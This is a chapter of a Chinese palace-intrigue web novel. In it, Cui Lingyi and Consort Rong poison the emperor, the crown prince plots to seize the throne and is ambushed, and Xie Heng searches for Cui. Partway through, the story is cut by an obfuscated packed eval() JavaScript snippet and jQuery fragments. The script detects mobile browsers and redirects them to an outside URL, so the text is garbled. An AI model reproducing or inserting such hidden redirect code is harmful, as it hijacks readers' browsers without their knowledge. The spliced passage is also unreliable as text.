82.第 82 章

作品:《我在古代开和离事务所

    “为什么?”容妃问。


    “前因后果一结合,我就能猜得到了。”崔令仪轻声道,“先帝向陛下许诺,灭掉青唐后就册封他为太子,他如约斩杀了你的父母亲族,如今距离灭掉青唐只差一步。”


    “是我?”


    “是你。”崔令仪道,“除此之外,也没有别的办法可以解释了。”


    “先帝宠爱你,却迫不及待要杀死你,理由只有一个。”崔令仪垂下眼眸,望着她,“父弱子强,他恐惧陛下知道你已经被他玷污,更怀上他的孩子.唯一的办法就是以皇位为饵,让他亲手杀死你。此后他便再也不能站在道德的制高点上,说他‘父夺子妻’。”


    容妃生硬地扯了扯唇角,许久却挤不出一点笑意。


    “事到如今,我该怎么办?”容妃问。


    “你想怎么办?”崔令仪柔声问,“你想和陛下百年好合,自然有百年好合的做法。可你若要为青唐复仇……”


    她眼瞳莹莹:“也有复仇的办法。”


    夜深之后,崔令仪在延福宫前点起一盏红色的宫灯。


    这是她在入宫之前和长公主约定好的暗号,一旦宫灯点起,就代表时机已经成熟,长公主会派人辅佐她,帮她一同完成大事。


    寒夜之中呵气成霜,崔令仪孤身一个在灯下站着,灯火将她的影子拉得很长很长。她想起那一夜,谢珩在她的身边。


    谢珩说,我对你有意。


    这样简单的五个字,竟然让她想了这么久,让她怀念了这么久。


    她低头看着自己枯瘦的五指,仰头又看见天边铜色的月亮,明晃晃地照在天上,仿佛世间一切的阴邪算计在它面前都无所遁形了。


    而她是其中一个,怀揣着最多的算计、怀揣最多的阴谋的人。


    或许她和谢珩早就没什么不一样了,甚至她比谢珩更加恶劣。谢珩只是为了执行陛下的命令,而她完全是自发的,她是掌棋之人,她跟另外几个女人站在一起,时刻准备着,要颠覆这个王朝。


    此刻,谢珩也还未眠。


    他更瘦,唯有一双眼睛锃亮。他经过探查,发现汴河河底有通往皇宫的密道,这里是内侍省强掳宫外女子给陛下消遣的秘密渠道。内侍省强掳崔令仪后,将她的衣衫首饰拆散了在黑市上卖掉,而她人,必定就在宫中。


    随后,他听说管文珠来了上京。


    管文珠是应宫中的容妃之邀来的上京。她先是进了宫,随后神神秘秘地跑到女德班去,笼络了一大批人,还去了一趟仓前镇。而后,李如璋再次入宫。


    趁着这趟间隙,他去见了一次管文珠。


    “你什么都不用说。”他道,“我没想过要为难你,我只是想知道,她现在过得好不好。”


    管文珠沉默了许久。


    最后她道:“容妃娘娘很倚重她,吃穿住行,跟娘娘也没什么不同。只是她现在瘦得厉害,一张脸上只能看到一双眼睛。想必是思虑太甚之故。”


    谢珩问:“她……打算一辈子待在那里吗?”


    “这我不知道。”管文珠道,“但我觉得不会。”


    “深宫太狭小了,那里不是她的天地。”她这样道,“她绝不是,能在狭小的一方天地之中苟活的人,她有目标有理想,我想她到那里去,只是那里有她想要,有她必须做的事情。”


    她要做什么,管文珠不知道,但是谢珩知道。


    她现在该多危险?她是冒着多大的风险去做的这件事,她有没有后援,有没有人能帮助她?


    她……真的像管文珠所说的那样好吗?


    同一轮月下,有人虽然同坐在一起,但是彼此相隔四十年时光。有人遥遥隔着十里红墙,但是心却始终在惦记对方。


    长公主送来了秘制的毒药,连崔令仪都看不懂那是什么成分。容妃如约将毒药下在茶盏之中,谈笑间和陛下一同饮下。她早有求死之意,崔令仪阻拦未果,只能由着她。


    陛下天性多疑,他不可能轻易吃下不干净的食物,因此只能由容妃来力证食物是干净的,她年纪轻,身体好,因此在毒药带给她的伤痛还不明显的时候,陛下已经渐渐衰弱,常常嗜睡、虚弱,难以下床。


    太子萧景睿端坐在家中,手里握着太医院的脉案,上边写明陛下突发恶疾,原因是“肝气郁结,偶感风寒。”


    “真是天助我也。”


    他轻飘飘地笑了,仰头望向太子妃陈漱玉,温声道:“漱玉,帮我收拾东西,明日起,我要去宫中亲自为陛下侍疾。”


    陈漱玉并不赞同:“殿下,这样是不是有些操之过急?”


    “妇人之见!”太子斥了一声,“如今陛下孱弱,我和皇姐早已是不死不休的局面。她是女子,不能日日守在陛下身侧,而我在这一点上恰恰胜于她。只要父皇一咽气,我便立刻依律即位,到那时候,任谁也拦不住我了。”


    他又凝望着陈漱玉:“漱玉,到那时候,我是皇帝,你便是我的皇后,一国之母,那样不好吗?”


    陈漱玉轻声劝道:“殿下,我自然希望殿下能成就大业。只是如今这情形,长公主那边必然也不会坐以待毙。若我们此时太过急切,万一被皇姐抓到把柄,反而得不偿失。不如再观望一阵,等陛下的病情更加严重,朝中局势更加混乱之时,我们再出手,或许更为稳妥。”


    萧景睿皱起眉头,不悦道:“你这又是何苦长他人志气,灭自己威风。皇姐虽有谋略,但如今陛下在我掌控之中,我又有朝中诸多大臣支持,难道还怕她不成?”


    陈漱玉见太子如此固执,心中有些焦急,但面上仍保持着一派温婉:“殿下,我并非怕了。只是此事关乎殿下的前程,不得不谨慎行事。而且陛下身边的侍卫众多,若我们贸然行动,万一走漏了风声,后果不堪设想。”


    萧景睿不耐烦地挥了挥手,“你不必再说了。我意已决,明日便进宫侍疾。你只需帮我把东西收拾好便是。”


    陈漱玉无奈,只好福身道:“是,殿下。但愿一切如殿下所愿。”


    她是知道容妃和崔令仪仿佛在谋划什么的,因此在心中却隐隐担忧起来。太子的性子便是如此,一旦决定了的事情,很难再改变。而如今朝中局势复杂,长公主那边又虎视眈眈,这场争斗,究竟谁能笑到最后,她心中实在没有底。


    救命之恩的劲头过去了,太子如今也不像当


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807478|170073||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    日那样爱重陈漱玉,且他身侧环肥燕瘦、窈窕淑女众多,虽然他不沉迷女色,但是对比自己的太子妃,却总是觉得不足。


    且他还见过几次白芷柔。


    白芷柔和离之后,气色极佳,整个人仿佛又重新活过来了,俏生生地站在那里,实在让他移不开眼。他想要得到白芷柔,却又没有正大光明的方法,他想来想去,只能想到一个。


    内侍省。


    内侍省帮父皇抓了这么多女人,如今也该帮帮他了。


    他每每想起都是心潮澎湃,快意几乎涌出胸口。他每一天都在盼着陛下驾崩,临走的时候把他皇姐也带走,如此天下便是他的,内侍省便是他的,白芷柔,也会是他的。


    野心如同野草,春风一吹就开始疯长,在他的心里越长越高。


    翌日,太子便收拾好了自己的东西,入宫去为陛下侍疾。


    目前陛下的身边只有一个容妃陪伴,自他去了,容妃干什么他就抢着干,容妃为陛下试药,他也抢过来,亲自为陛下试药。容妃实在是当得起倾城之名,她端坐在那里,一双含情目柔柔地望着他,他心里就仿佛被猫挠了一下。


    他自诩不好美色,一生从不愿被女人束缚,但事到如今,江山都要是他的,他要两个美人,也不足为奇吧。


    何况他也会依然敬爱与他有恩的陈漱玉。白芷柔、应倾城,虽然都嫁过人了,不能被册封为妃,但又是都是绝顶的美人,他如何又能放弃呢。


    萧景睿在陛下身边待了数日,也顾不得陛下一睁眼就要赶他走。他始终心猿意马地待在这儿,日日围着容妃。眼看陛下的身子一日不如一日,容妃时常掩面哭泣,他便常常宽慰。


    “父皇已经那么大年纪,身子不好,你也该早有准备。”萧景睿劝慰她,“可你还年轻,你这样风华正茂,何苦为陛下付出至此?说句不恭敬的话,等父皇驾崩,新帝即位,你也该为自己另谋出路,可不能老死深宫,白白蹉跎年华。”


    “可我又能为自己谋划怎样的出路呢?”容妃哭泣道。


    “我啊。”萧景睿立刻道,“我与你年龄相当,等父皇驾崩了,我便找个宫女,教她穿你的衣裳,随后声称你要为父皇殉葬,随后将宫女和父皇合葬,世上便再也有没有容妃,只有应倾城了。”


    容妃破涕为笑:“真的能吗?”


    “我乃是国之储君,怎么会骗你?”萧景睿拍着胸脯向她打包票。


    容妃道:“既然如此,我就跟太子殿下约好了。还请太子殿下为我削一个苹果,苹果皮千万不要断。苹果削完,约定即成。”


    “好。”萧景睿自是满口答应。


    他拿起果盘半边的金错刀削起苹果,全然不承想过,为什么这里竟然会有一把金错刀。他正削着,不防备身后有人抬起手便是一把手刀,他应声而倒。


    与此同时,长公主请谢珩过府一叙。


    “我很久没进宫去见陛下了,请你先替我去看一看。”长公主意有所指,“若有什么痕迹,请你帮我打扫干净,这不止关系到我一个,还关系到,你心中之人的性命。”


    “你若去晚了,时辰赶得不好,我怕,会连累到那人。”